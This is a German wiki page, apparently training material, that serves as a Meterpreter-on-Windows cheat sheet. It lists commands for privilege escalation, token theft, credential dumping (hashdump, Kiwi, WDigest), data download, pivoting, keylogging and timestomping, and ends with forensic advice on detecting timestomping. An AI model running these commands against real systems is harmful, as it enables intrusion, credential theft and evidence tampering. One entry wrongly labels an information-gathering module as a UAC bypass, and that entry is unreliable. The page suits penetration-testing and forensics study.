https://xinux.net/index.php?action=history&feed=atom&title=Meterpreter_unter_WindowsMeterpreter unter Windows - Versionsgeschichte2026-08-23T15:04:22ZVersionsgeschichte dieser Seite in Xinux WikiMediaWiki 1.35.1https://xinux.net/index.php?title=Meterpreter_unter_Windows&diff=72695&oldid=prevThomas.will: Die Seite wurde neu angelegt: „== Grundsätzliches == Meterpreter ist die interaktive Payload des Metasploit-Frameworks. Sie läuft im Speicher des kompromittierten Prozesses und stellt ein…“2026-08-14T07:18:28Z<p>Die Seite wurde neu angelegt: „== Grundsätzliches == Meterpreter ist die interaktive Payload des Metasploit-Frameworks. Sie läuft im Speicher des kompromittierten Prozesses und stellt ein…“</p>
<p><b>Neue Seite</b></p><div>== Grundsätzliches ==<br />
<br />
Meterpreter ist die interaktive Payload des Metasploit-Frameworks. Sie läuft im<br />
Speicher des kompromittierten Prozesses und stellt einen einheitlichen Befehlssatz<br />
zur Verfügung. Die Windows-Variante bietet deutlich mehr Kommandos als die<br />
Linux-Version - vor allem alles rund um Prozess-Tokens, UAC-Bypass, die SAM-Datenbank,<br />
Zeitstempel-Manipulation und die Kiwi/Mimikatz-Erweiterung.<br />
<br />
'''Hinweis:''' Der Befehl <code>help</code> zeigt in der laufenden Session, welche<br />
Kommandos der konkrete Payload tatsächlich unterstützt. Erweiterungen wie Kiwi müssen<br />
erst mit <code>load</code> nachgeladen werden.<br />
<br />
== Session-Verwaltung ==<br />
<br />
;Session in den Hintergrund legen, zurück zur msf-Konsole<br />
*background<br />
<br />
;Vorhandene Sessions anzeigen<br />
*sessions -l<br />
<br />
;Session wieder aufnehmen<br />
*sessions -i ID<br />
<br />
;Kontextbezogene Befehlsliste anzeigen<br />
*help<br />
<br />
== System und Recon ==<br />
<br />
;Betriebssystem, Architektur, Hostname<br />
*sysinfo<br />
<br />
;Unter welchem Benutzer läuft die Session<br />
*getuid<br />
<br />
;Eigene Prozess-ID<br />
*getpid<br />
<br />
;Prozessliste – Spalte User zeigt, welche Prozesse als SYSTEM laufen<br />
*ps<br />
<br />
;In eine normale System-Shell wechseln (cmd.exe)<br />
*shell<br />
<br />
== Rechteausweitung ==<br />
<br />
Die Rechteausweitung ist auf Windows der zentrale Zwischenschritt: Ohne<br />
NT AUTHORITY\SYSTEM lassen sich weder die SAM-Datenbank noch der LSASS-Prozess auslesen.<br />
<br />
;Bekannte lokale Privilege-Escalation-Techniken durchprobieren<br />
*getsystem<br />
<br />
;Neue Identität überprüfen – sollte NT AUTHORITY\SYSTEM zeigen<br />
*getuid<br />
<br />
;UAC umgehen, falls getsystem an fehlender Elevation scheitert<br />
*run post/windows/gather/win_privs<br />
<br />
;In einen als SYSTEM laufenden Prozess wechseln (PID aus ps)<br />
*migrate 248<br />
<br />
;Token eines anderen Prozesses stehlen<br />
*steal_token 1784<br />
<br />
== Zugangsdaten auslesen ==<br />
<br />
;Passwort-Hashes aus der SAM-Datenbank (erfordert SYSTEM)<br />
*hashdump<br />
<br />
;Alternative als Post-Modul, robuster auf neueren Systemen<br />
*run post/windows/gather/hashdump<br />
<br />
;Kiwi/Mimikatz-Erweiterung nachladen<br />
*load kiwi<br />
<br />
;Alle im Speicher gefundenen Zugangsdaten (LSASS, erfordert SYSTEM)<br />
*creds_all<br />
<br />
;Nur Kerberos-Tickets<br />
*creds_kerberos<br />
<br />
;Klartext-Passwörter aus dem WDigest-Provider<br />
*creds_wdigest<br />
<br />
== Dateisystem ==<br />
<br />
;Verzeichnis anzeigen und wechseln<br />
*pwd<br />
*ls<br />
*cd C:\\Users<br />
<br />
;Datei vom Ziel herunterladen<br />
*download C:\\Users\\Administrator\\Desktop\\daten.xlsx C:\\loot\\<br />
<br />
;Datei auf das Ziel hochladen<br />
*upload werkzeug.exe C:\\Windows\\Temp\\<br />
<br />
;Dateien suchen<br />
*search -f *.kdbx<br />
<br />
== Netzwerk und Pivoting ==<br />
<br />
;Netzwerk-Interfaces anzeigen<br />
*ipconfig<br />
<br />
;Aktive Verbindungen<br />
*netstat<br />
<br />
;Routing-Tabelle<br />
*route<br />
<br />
;Lokales Port-Forwarding einrichten<br />
*portfwd add -l 3389 -p 3389 -r 10.254.31.50<br />
<br />
;Route über die Session für weitere Module setzen<br />
*run autoroute -s 10.254.31.0/24<br />
<br />
== Persistenz und Anti-Forensik ==<br />
<br />
;Zeitstempel einer Datei manipulieren (Timestomping)<br />
*timestomp C:\\Windows\\Temp\\payload.exe -m "01/01/2020 10:00:00"<br />
<br />
;Zeitstempel einer Referenzdatei übernehmen<br />
*timestomp C:\\payload.exe -f C:\\Windows\\notepad.exe<br />
<br />
;Keylogger im aktuellen Prozess starten<br />
*keyscan_start<br />
<br />
;Screenshot der aktiven Sitzung<br />
*screenshot<br />
<br />
== Unterschiede zur Linux-Variante ==<br />
<br />
Die folgenden Kommandos existieren nur unter Windows, weil sie an<br />
Windows-Mechanismen gebunden sind:<br />
<br />
* <code>getsystem</code> / <code>steal_token</code> – Token-basierte Rechteausweitung<br />
* <code>hashdump</code> – SAM-Datenbank (unter Linux: <code>/etc/shadow</code> per Post-Modul)<br />
* <code>load kiwi</code> / <code>creds_all</code> – LSASS-Credential-Dumping<br />
* <code>timestomp</code> – Zeitstempel-Manipulation (unter Linux: <code>touch -d</code>)<br />
* <code>keyscan_start</code> / <code>screenshot</code> – GUI-nahe Funktionen<br />
<br />
== Bezug zum Forensik-Szenario ==<br />
<br />
<code>timestomp</code> ist der direkte Gegenspieler zur Timeline-Analyse mit dem<br />
Sleuth Kit: Ein Angreifer setzt damit die MACB-Zeitstempel zurück, um die eigene<br />
Tatzeit zu verschleiern. Für die Verteidigung ist wichtig, dass Timestomping nur die<br />
Zeitstempel im Standard-Attribut ($STANDARD_INFORMATION) verändert, während NTFS die<br />
Originalwerte im $FILE_NAME-Attribut behält – ein aufmerksamer Ermittler erkennt die<br />
Manipulation an der Diskrepanz zwischen beiden.</div>Thomas.will